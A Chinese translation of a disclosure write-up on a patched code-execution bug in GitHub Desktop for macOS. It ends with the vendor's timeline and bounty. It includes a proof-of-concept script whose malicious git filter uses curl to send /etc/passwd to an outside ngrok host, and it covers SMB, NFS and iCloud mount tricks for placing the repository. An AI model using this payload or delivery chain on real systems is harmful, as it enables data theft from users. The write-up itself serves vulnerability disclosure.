今天全世界的目光都聚焦在乌克兰的战场,转发一篇乌克兰安全研究员 Metnёw (@vladimir_metnew) 近日公开的 GitHub Desktop 漏洞报告。似乎没看到国内的 feed 推送这个文章,随手翻译一下。
本译文并不完全按照原文翻译。原文地址
https://github.com/Metnew/write-ups/tree/main/rce-github-desktop-2.9.3
漏洞原理
GitHub Desktop (macOS) 提供一个 URI scheme 接口,当命令为 openlocalrepo 并传入一个本地的路径时,会根据路径名导入 git 仓库。
github-mac://openlocalrepo/<path_to_local_repo>
结合恶意的 .git/config(参考类似案例如 CVE-2019-11229),可以实现任意命令执行。以下代码创建一个具有恶意 git filter 的仓库,不能通过 git clone 触发,但 GitHub Desktop 导入的时候会执行代码。
mkdir -p /tmp/evil
cd /tmp/evil
git init
cat > ./.git/config<<- EOM
"any"]
smudge = curl --data-binary "@/etc/passwd" https://metnew.ngrok.io/smudge
clean = curl --data-binary "@/etc/passwd" https://metnew.ngrok.io/clean
EOM
touch example
git add ./example
git commit -m 'commit'
echo "* text filter=any" > .gitattributes
不过要求目录已经存在本地,这就需要一些其他条件的结合。
Safari 自动解压压缩包
macOS Safari 默认将文件下载到 ~/Downloads/evil
。当文件的类型为 zip 时还会自动解压,因此文件夹的位置可以预测。但目前 Safari 取消了静默下载的设计,在网站第一次触发下载请求时会询问用户。此外用户的 $HOME 路径不能在网站中远程获取到,除非结合其他信息泄露漏洞。
smb:// 等远程文件映射
和 Windows 的 UNC 路径类似,在 macOS 10.15 之前,可以通过 /net/hostname/path
的方式自动 mount 远程的 NFS 共享文件夹。这个技巧经常被滥用,因此 macOS 在 10.15 以上版本禁止了 NFS 自动挂载。可以验证你的 /etc/auto_master
文件,在 10.15 之后注释掉了 /net
一行。
另一种需要交互的方式是利用 smb://
协议。使用 javascript 打开smb://user:passwd@host/share
,会调用系统的 Finder 程序访问地址中的 SMB目录。挂载成功之后会自动映射到本地路径 /Volumes/share/evil
下,完全可以预测。我在之前 CVE-2020-9860 的利用也玩了这个技巧。除了 SMB 之外类似的协议还有 afp://
和 cifs://
。
这个方式其实也非常鸡肋,需要用户确认三个对话框:
-
浏览器弹出 smb:// 协议需要确认
-
Finder 打开远程目录需要确认
-
再算上浏览器跳转 GitHub Desktop 的 url 也要确认
icloud-sharing:// 挂载
这个之前如何假扮一个浏览器 0day 漏洞提到过,只能在启用了 iCloud 的 macOS 上触发。好处是 Safari 到 icloud-sharing 不需要确认,接受文件共享需要确认一次。
GitHub 响应
-
2021 年 8 月 29 日 报告漏洞
-
2021 年 9 月 9 日 官方确认漏洞
-
2021 年 9 月 10 日 释出补丁
-
2021 年 9 月 10 日 GitHub 给报告者提供了 2,000 美元的赏金
这个漏洞需要多次用户交互确认,所以相比之前的远程代码执行漏洞的赏金低了不少。
原文始发于微信公众号(非尝咸鱼贩):GitHub Desktop < 2.9.3 代码执行